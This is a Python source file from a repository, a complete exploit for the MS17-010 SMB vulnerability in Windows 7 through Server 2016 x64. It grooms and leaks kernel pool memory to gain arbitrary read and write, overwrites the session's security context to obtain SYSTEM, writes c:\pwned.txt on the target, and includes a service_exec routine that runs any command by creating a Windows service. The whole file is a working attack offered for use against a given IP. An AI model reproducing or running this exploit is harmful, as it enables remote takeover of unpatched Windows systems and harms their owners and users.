Files
MS17-010/zzz_exploit.py
2017-06-20 21:51:13 +07:00

475 lines
18 KiB
Python

#!/usr/bin/python
from impacket import smb, smbconnection
from mysmb import MYSMB
from struct import pack, unpack
import sys
import socket
import time
'''
MS17-010 exploit for Windows 7+ x64 by sleepya
Note:
- The exploit should never crash a target (chance should be nearly 0%)
- The exploit support only x64 target
- The exploit use the bug same as eternalromance and eternalsynergy, so named pipe is needed
Tested on:
- Windows 2016 x64
- Windows 2012 R2 x64
- Windows 8.1 x64
- Windows 2008 R2 SP1 x64
- Windows 7 SP1 x64
'''
USERNAME = ''
PASSWORD = ''
'''
Reverse from: SrvAllocateSecurityContext() and SrvImpersonateSecurityContext()
win7 x64
struct SrvSecContext {
DWORD xx1; // second WORD is size
DWORD refCnt;
PACCESS_TOKEN Token; // 0x08
DWORD xx2;
BOOLEAN CopyOnOpen; // 0x14
BOOLEAN EffectiveOnly;
WORD xx3;
DWORD ImpersonationLevel; // 0x18
DWORD xx4;
BOOLEAN UsePsImpersonateClient; // 0x20
}
win2012 x64
struct SrvSecContext {
DWORD xx1; // second WORD is size
DWORD refCnt;
QWORD xx2;
QWORD xx3;
PACCESS_TOKEN Token; // 0x18
DWORD xx4;
BOOLEAN CopyOnOpen; // 0x24
BOOLEAN EffectiveOnly;
WORD xx3;
DWORD ImpersonationLevel; // 0x28
DWORD xx4;
BOOLEAN UsePsImpersonateClient; // 0x30
}
SrvImpersonateSecurityContext() is used in Windows 7 and later before doing any operation as logged on user.
It called PsImperonateClient() if SrvSecContext.UsePsImpersonateClient is true.
From https://msdn.microsoft.com/en-us/library/windows/hardware/ff551907(v=vs.85).aspx, if Token is NULL,
PsImperonateClient() ends the impersonation. Even there is no impersonation, the PsImperonateClient() returns
STATUS_SUCCESS when Token is NULL.
If we can overwrite Token to NULL and UsePsImpersonateClient to true, a running thread will use primary token (SYSTEM)
to do all SMB operations.
Note: fake Token might be possible, but NULL token is much easier.
'''
WIN7_INFO = {
'SESSION_SECCTX_OFFSET': 0xa0,
'SESSION_ISNULL_OFFSET': 0xba,
'FAKE_SECCTX': pack('<IIQQIIB', 0x28022a, 1, 0, 0, 2, 0, 1),
'SECCTX_SIZE': 0x28,
}
# win8+ info
WIN8_INFO = {
'SESSION_SECCTX_OFFSET': 0xb0,
'SESSION_ISNULL_OFFSET': 0xca,
'FAKE_SECCTX': pack('<IIQQQQIIB', 0x38022a, 1, 0, 0, 0, 0, 2, 0, 1),
'SECCTX_SIZE': 0x38,
}
TRANS_FLINK_OFFSET = 0x28
TRANS_INPARAM_OFFSET = 0x70
TRANS_OUTPARAM_OFFSET = 0x78
TRANS_INDATA_OFFSET = 0x80
TRANS_OUTDATA_OFFSET = 0x88
TRANS_FUNCTION_OFFSET = 0xb2
TRANS_MID_OFFSET = 0xc0
def wait_for_request_processed(conn):
#time.sleep(0.05)
# send echo is faster than sleep(0.05) when connection is very good
conn.send_echo('a')
special_mid = 0
extra_last_mid = 0
def reset_extra_mid(conn):
global extra_last_mid, special_mid
special_mid = (conn.next_mid() & 0xff00) - 0x100
extra_last_mid = special_mid
def next_extra_mid():
global extra_last_mid
extra_last_mid += 1
return extra_last_mid
# Note: TRANSACTION struct size on x64 is 0x100
FRAG_POOL_SIZE = 0
# Burrow 'groom' and 'bride' word from NSA tool
GROOM_TRANS_SIZE = 0x5010 # pool size: 0x5030
BRIDE_TRANS_SIZE = 0x1000 - (GROOM_TRANS_SIZE & 0xfff) - FRAG_POOL_SIZE - 0x40 # pool header (0x10), srv buffer header of groom and bride (0x20)
def leak_frag_size(conn, tid, fid):
# A "Frag" pool is placed after the large pool allocation if last page has some free space left.
# A "Frag" pool size is 0x10 or 0x20 depended on Windows version.
# To make exploit more generic, exploit does info leak to find a "Frag" pool size.
# From the leak info, we can determine the target architecture too.
mid = conn.next_mid()
req1 = conn.create_nt_trans_packet(5, param=pack('<HH', fid, 0), mid=mid, data='A'*0x10d0, maxParameterCount=GROOM_TRANS_SIZE-0x10d0)
req2 = conn.create_nt_trans_secondary_packet(mid, data='B'*276) # leak more 276 bytes
conn.send_raw(req1[:-8])
conn.send_raw(req1[-8:]+req2)
leakData = conn.recv_transaction_data(mid, 0x10d0+276)
leakData = leakData[0x10d4:] # skip parameters and its own input
if leakData[12:16] == 'Frag':
print('The exploit does not support 32 bit target')
sys.exit()
if leakData[0x14:0x18] != 'Frag':
print('Not found Frag pool tag in leak data')
sys.exit()
# Frag pool size might be 0x10 or 0x20
fragPoolSize = ord(leakData[0x12]) << 4
print('Got frag size: 0x{:x}'.format(fragPoolSize))
global FRAG_POOL_SIZE, BRIDE_TRANS_SIZE
FRAG_POOL_SIZE = fragPoolSize
BRIDE_TRANS_SIZE = 0x1000 - (GROOM_TRANS_SIZE & 0xfff) - FRAG_POOL_SIZE - 0x40
return fragPoolSize
def align_transaction_and_leak(conn, tid, fid, numFill=4):
# fill large pagedpool holes (maybe no need)
for i in range(numFill):
conn.send_nt_trans(5, param=pack('<HH', fid, 0), totalDataCount=0x10d0, maxParameterCount=GROOM_TRANS_SIZE+0x100-0x10d0-0x100)
mid_ntrename = conn.next_mid()
req1 = conn.create_nt_trans_packet(5, param=pack('<HH', fid, 0), mid=mid_ntrename, data='A'*0x10d0, maxParameterCount=GROOM_TRANS_SIZE-0x10d0-0x100)
req2 = conn.create_nt_trans_secondary_packet(mid_ntrename, data='B'*276) # leak more 276 bytes
req3 = conn.create_nt_trans_packet(5, param=pack('<HH', fid, 0), mid=fid, totalDataCount=GROOM_TRANS_SIZE-0x1000-0x100, maxParameterCount=0x1000)
reqs = []
for i in range(12):
mid = next_extra_mid()
reqs.append(conn.create_trans_packet('', mid=mid, totalDataCount=BRIDE_TRANS_SIZE-0x200-0x100, totalParameterCount=0x200, maxDataCount=0, maxParameterCount=0))
conn.send_raw(req1[:-8])
conn.send_raw(req1[-8:]+req2+req3+''.join(reqs))
# expected transactions alignment ("Frag" pool is not shown)
#
# | 5 * PAGE_SIZE | PAGE_SIZE | 5 * PAGE_SIZE | PAGE_SIZE |
# +-------------------------------+----------------+-------------------------------+----------------+
# | GROOM mid=mid_ntrename | extra_mid1 | GROOM mid=fid | extra_mid2 |
# +-------------------------------+----------------+-------------------------------+----------------+
#
# If transactions are aligned as we expected, BRIDE transaction with mid=extra_mid1 will be leaked.
# From leaked transaction, we get
# - leaked transaction address from InParameter or InData
# - transaction, with mid=extra_mid2, address from LIST_ENTRY.Flink
# With these information, we can verify the transaction aligment from displacement.
leakData = conn.recv_transaction_data(mid_ntrename, 0x10d0+276)
leakData = leakData[0x10d4:] # skip parameters and its own input
#open('leak.dat', 'wb').write(leakData)
if leakData[0x14:0x18] != 'Frag':
print('Not found Frag pool tag in leak data')
return None
# ================================
# verify leak data
# ================================
leakData = leakData[0x10+FRAG_POOL_SIZE:]
# check pool tag and size value in buffer header
expected_size = pack('<H', BRIDE_TRANS_SIZE-4)
if leakData[0x4:0x8] != 'LStr' or leakData[0x10:0x12] != expected_size or leakData[0x22:0x24] != expected_size:
print('No transaction struct in leak data')
return None
leakTrans = leakData[0x20:]
connection_addr, session_addr, treeconnect_addr, flink_value = unpack('<QQQQ', leakTrans[0x10:0x30])
outparam_value, indata_value = unpack('<QQ', leakTrans[TRANS_OUTPARAM_OFFSET:TRANS_OUTPARAM_OFFSET+0x10])
leak_mid = unpack('<H', leakTrans[TRANS_MID_OFFSET:TRANS_MID_OFFSET+2])[0]
print('CONNECTION: 0x{:x}'.format(connection_addr))
print('SESSION: 0x{:x}'.format(session_addr))
print('FLINK: 0x{:x}'.format(flink_value))
print('InData: 0x{:x}'.format(indata_value))
print('MID: 0x{:x}'.format(leak_mid))
next_page_addr = (indata_value & 0xfffffffffffff000) + 0x1000
if next_page_addr + GROOM_TRANS_SIZE + FRAG_POOL_SIZE + 0x40 + 0x28 != flink_value:
print('unexpected alignment, diff: 0x{:x}'.format(flink_value - next_page_addr))
return None
# trans1: leak transaction
# trans2: next transaction
return {
'connection': connection_addr,
'session': session_addr,
'next_page_addr': next_page_addr,
'trans1_mid': leak_mid,
'trans1_addr': next_page_addr - BRIDE_TRANS_SIZE,
'trans2_addr': flink_value - TRANS_FLINK_OFFSET,
'special_mid': special_mid,
}
def read_data(conn, info, read_addr, read_size):
# create fake InParameters
conn.send_nt_trans_secondary(mid=info['trans1_mid'], data=pack('<HH', info['fid'], 0), dataDisplacement=0x200)
# modify trans2.InParameter to fake InParameters
# modify trans2.OutParameter to leak next transaction and trans2.OutData to leak real data
# modify trans2.*ParameterCount and trans2.*DataCount to limit data
new_data = pack('<QQ', info['trans2_addr']+0x200, info['trans2_addr']+TRANS_FLINK_OFFSET) # InParameter, OutParameter
new_data += pack('<QQ', info['trans2_addr']+0x200, read_addr) # InData, OutData
new_data += pack('<II', 0, 0) # SetupCount, MaxSetupCount
new_data += pack('<III', 16, 16, 16) # ParamterCount, TotalParamterCount, MaxParameterCount
new_data += pack('<III', read_size, read_size, read_size) # DataCount, TotalDataCount, MaxDataCount
new_data += pack('<HH', 0, 5) # Category, Function (NT_RENAME)
conn.send_nt_trans_secondary(mid=info['trans1_mid'], data=new_data, dataDisplacement=TRANS_INPARAM_OFFSET)
# create one more transaction before leaking data
# - next transaction can be used for arbitrary read/write after the current trans2 is done
# - next transaction address is from TransactionListEntry.Flink value
conn.send_nt_trans(5, param=pack('<HH', info['fid'], 0), totalDataCount=0x4f00-0x20, totalParameterCount=0x1000)
# finish the trans2 to leak
conn.send_nt_trans_secondary(mid=info['trans2_mid'])
read_data = conn.recv_transaction_data(info['trans2_mid'], 16+read_size)
# set new trans2 address
info['trans2_addr'] = unpack('<Q', read_data[:8])[0] - TRANS_FLINK_OFFSET
# set trans1.InData to &trans2
conn.send_nt_trans_secondary(mid=info['trans1_mid'], param=pack('<Q', info['trans2_addr']), paramDisplacement=TRANS_INDATA_OFFSET)
wait_for_request_processed(conn)
# modify trans2 mid
conn.send_nt_trans_secondary(mid=info['trans1_mid'], data=pack('<H', info['trans2_mid']), dataDisplacement=TRANS_MID_OFFSET)
wait_for_request_processed(conn)
return read_data[16:] # no need to return parameter
def write_data(conn, info, write_addr, write_data):
# trans2.InData
conn.send_nt_trans_secondary(mid=info['trans1_mid'], data=pack('<Q', write_addr), dataDisplacement=TRANS_INDATA_OFFSET)
wait_for_request_processed(conn)
# write data
conn.send_nt_trans_secondary(mid=info['trans2_mid'], data=write_data)
wait_for_request_processed(conn)
def exploit(target, pipe_name):
conn = MYSMB(target)
# set NODELAY to make exploit much faster
conn.get_socket().setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)
info = {}
conn.login(USERNAME, PASSWORD, maxBufferSize=4356)
server_os = conn.get_server_os()
print('Target OS: '+server_os)
if server_os.startswith("Windows 7 ") or (server_os.startswith("Windows Server ") and ' 2008 ' in server_os):
info.update(WIN7_INFO)
elif server_os.startswith("Windows 8") or server_os.startswith("Windows Server 2012 ") or server_os.startswith("Windows Server 2016 "):
info.update(WIN8_INFO)
else:
print('This exploit does not support this target')
sys.exit()
# ================================
# try align pagedpool and leak info until satisfy
# ================================
leakInfo = None
# max attempt: 10
for i in range(10):
tid = conn.tree_connect_andx('\\\\'+target+'\\'+'IPC$')
conn.set_default_tid(tid)
fid = conn.nt_create_andx(tid, pipe_name)
if not FRAG_POOL_SIZE:
leak_frag_size(conn, tid, fid)
reset_extra_mid(conn)
leakInfo = align_transaction_and_leak(conn, tid, fid)
if leakInfo is not None:
break
print('leak failed... try again')
conn.close(tid, fid)
conn.disconnect_tree(tid)
if leakInfo is None:
return False
info['fid'] = fid
info.update(leakInfo)
# ================================
# shift trans1.Indata ptr with SmbWriteAndX
# ================================
shift_indata_byte = 0x200
conn.do_write_andx_raw_pipe(fid, 'A'*shift_indata_byte)
# Note: Even the distance between bride transaction is exact what we want, the groom transaction might be in a wrong place.
# So the below operation is still dangerous. Write only 1 byte with '\x00' might be safe even alignment is wrong.
indata_value = info['next_page_addr'] + 0x100 + 0x10 + 0x1000 + shift_indata_byte # maxParameterCount (0x1000)
indata_next_trans_displacement = info['trans2_addr'] - indata_value
conn.send_nt_trans_secondary(mid=fid, data='\x00', dataDisplacement=indata_next_trans_displacement + TRANS_MID_OFFSET)
wait_for_request_processed(conn)
# if the overwritten is correct, a modified transaction mid should be special_mid now.
# a new transaction with special_mid should be error.
recvPkt = conn.send_nt_trans(5, mid=special_mid, param=pack('<HH', fid, 0), data='')
if recvPkt.getNTStatus() != 0x10002: # invalid SMB
print('unexpected return status: 0x{:x}'.format(recvPkt.getNTStatus()))
print('!!! Write to wrong place !!!')
print('the target might be crashed')
sys.exit()
print('success controlling groom transaction')
info['indata_next_trans_displacement'] = indata_next_trans_displacement
# NSA exploit set refCnt on leaked transaction to very large number for reading data repeatly
# but this method make the transation never get freed
# I will avoid memory leak
# ================================
# modify trans1 struct to be used for arbitrary read/write
# ================================
print('modify trans1 struct for arbitrary read/write')
# modify trans_special.InData to &trans1
conn.send_nt_trans_secondary(mid=fid, data=pack('<Q', info['trans1_addr']), dataDisplacement=indata_next_trans_displacement + TRANS_INDATA_OFFSET)
wait_for_request_processed(conn)
# modify
# - trans1.InParameter to &trans1. so we can modify trans1 struct with itself
# - trans1.InData to &trans2. so we can modify trans2 easily
conn.send_nt_trans_secondary(mid=info['special_mid'], data=pack('<QQQ', info['trans1_addr'], info['trans1_addr']+0x200, info['trans2_addr']), dataDisplacement=TRANS_INPARAM_OFFSET)
wait_for_request_processed(conn)
# modify trans2.mid
info['trans2_mid'] = conn.next_mid()
conn.send_nt_trans_secondary(mid=info['trans1_mid'], data=pack('<H', info['trans2_mid']), dataDisplacement=TRANS_MID_OFFSET)
# Now, read_data() and write_data() can be used for arbitrary read and write.
# ================================
# Modify this SMB session to be SYSTEM
# ================================
# Note: Windows XP stores only PCtxtHandle and uses ImpersonateSecurityContext() for impersonation, so this
# method does not work on Windows XP. But with arbitrary read/write, code execution is not difficult.
print('make this SMB session to be SYSTEM')
# IsNullSession = 0, IsAdmin = 1
write_data(conn, info, info['session']+info['SESSION_ISNULL_OFFSET'], '\x00\x01')
# read session struct to get SecurityContext address
sessionData = read_data(conn, info, info['session'], 0x100)
secCtxAddr = unpack('<Q', sessionData[info['SESSION_SECCTX_OFFSET']:info['SESSION_SECCTX_OFFSET']+8])[0]
# copy SecurityContext for restoration
secCtxData = read_data(conn, info, secCtxAddr, info['SECCTX_SIZE'])
print('overwriting session security context')
write_data(conn, info, secCtxAddr, info['FAKE_SECCTX'])
# ================================
# do whatever we want as SYSTEM over this SMB connection
# ================================
try:
smb_pwn(conn)
except:
pass
# restore SecurityContext. If the exploit does not use null session, PCtxtHandle will be leaked.
write_data(conn, info, secCtxAddr, secCtxData)
conn.disconnect_tree(tid)
conn.logoff()
conn.get_socket().close()
return True
def smb_pwn(conn):
smbConn = smbconnection.SMBConnection(conn.get_remote_host(), conn.get_remote_host(), existingConnection=conn, manualNegotiate=True)
print('creating file c:\\pwned.txt on the target')
tid2 = smbConn.connectTree('C$')
fid2 = smbConn.createFile(tid2, '/pwned.txt')
smbConn.closeFile(tid2, fid2)
smbConn.disconnectTree(tid2)
#service_exec(smbConn, r'cmd /c copy c:\pwned.txt c:\pwned_exec.txt')
# based on impacket/examples/serviceinstall.py
def service_exec(smbConn, cmd):
import random
import string
from impacket.dcerpc.v5 import transport, srvs, scmr
service_name = ''.join([random.choice(string.letters) for i in range(4)])
# Setup up a DCE SMBTransport with the connection already in place
rpctransport = transport.SMBTransport(smbConn.getRemoteHost(), smbConn.getRemoteHost(), filename=r'\svcctl', smb_connection=smbConn)
rpcsvc = rpctransport.get_dce_rpc()
rpcsvc.connect()
rpcsvc.bind(scmr.MSRPC_UUID_SCMR)
svnHandle = None
try:
print("Opening SVCManager on %s....." % smbConn.getRemoteHost())
resp = scmr.hROpenSCManagerW(rpcsvc)
svcHandle = resp['lpScHandle']
# First we try to open the service in case it exists. If it does, we remove it.
try:
resp = scmr.hROpenServiceW(rpcsvc, svcHandle, service_name+'\x00')
except Exception, e:
if str(e).find('ERROR_SERVICE_DOES_NOT_EXIST') == -1:
raise e # Unexpected error
else:
# It exists, remove it
scmr.hRDeleteService(rpcsvc, resp['lpServiceHandle'])
scmr.hRCloseServiceHandle(rpcsvc, resp['lpServiceHandle'])
print('Creating service %s.....' % service_name)
resp = scmr.hRCreateServiceW(rpcsvc, svcHandle, service_name + '\x00', service_name + '\x00', lpBinaryPathName=cmd + '\x00')
serviceHandle = resp['lpServiceHandle']
if serviceHandle:
# Start service
try:
print('Starting service %s.....' % service_name)
scmr.hRStartServiceW(rpcsvc, serviceHandle)
# is it really need to stop?
# using command line always makes starting service fail because SetServiceStatus() does not get called
print('Stoping service %s.....' % service_name)
scmr.hRControlService(rpcsvc, serviceHandle, scmr.SERVICE_CONTROL_STOP)
except Exception, e:
print(str(e))
print('Removing service %s.....' % service_name)
scmr.hRDeleteService(rpcsvc, serviceHandle)
scmr.hRCloseServiceHandle(rpcsvc, serviceHandle)
except Exception, e:
print("ServiceExec Error on: %s" % smbConn.getRemoteHost())
print(str(e))
finally:
if svcHandle:
scmr.hRCloseServiceHandle(rpcsvc, svcHandle)
rpcsvc.disconnect()
if len(sys.argv) != 3:
print("{} <ip> <pipe_name>".format(sys.argv[0]))
sys.exit(1)
target = sys.argv[1]
pipe_name = sys.argv[2]
exploit(target, pipe_name)
print('Done')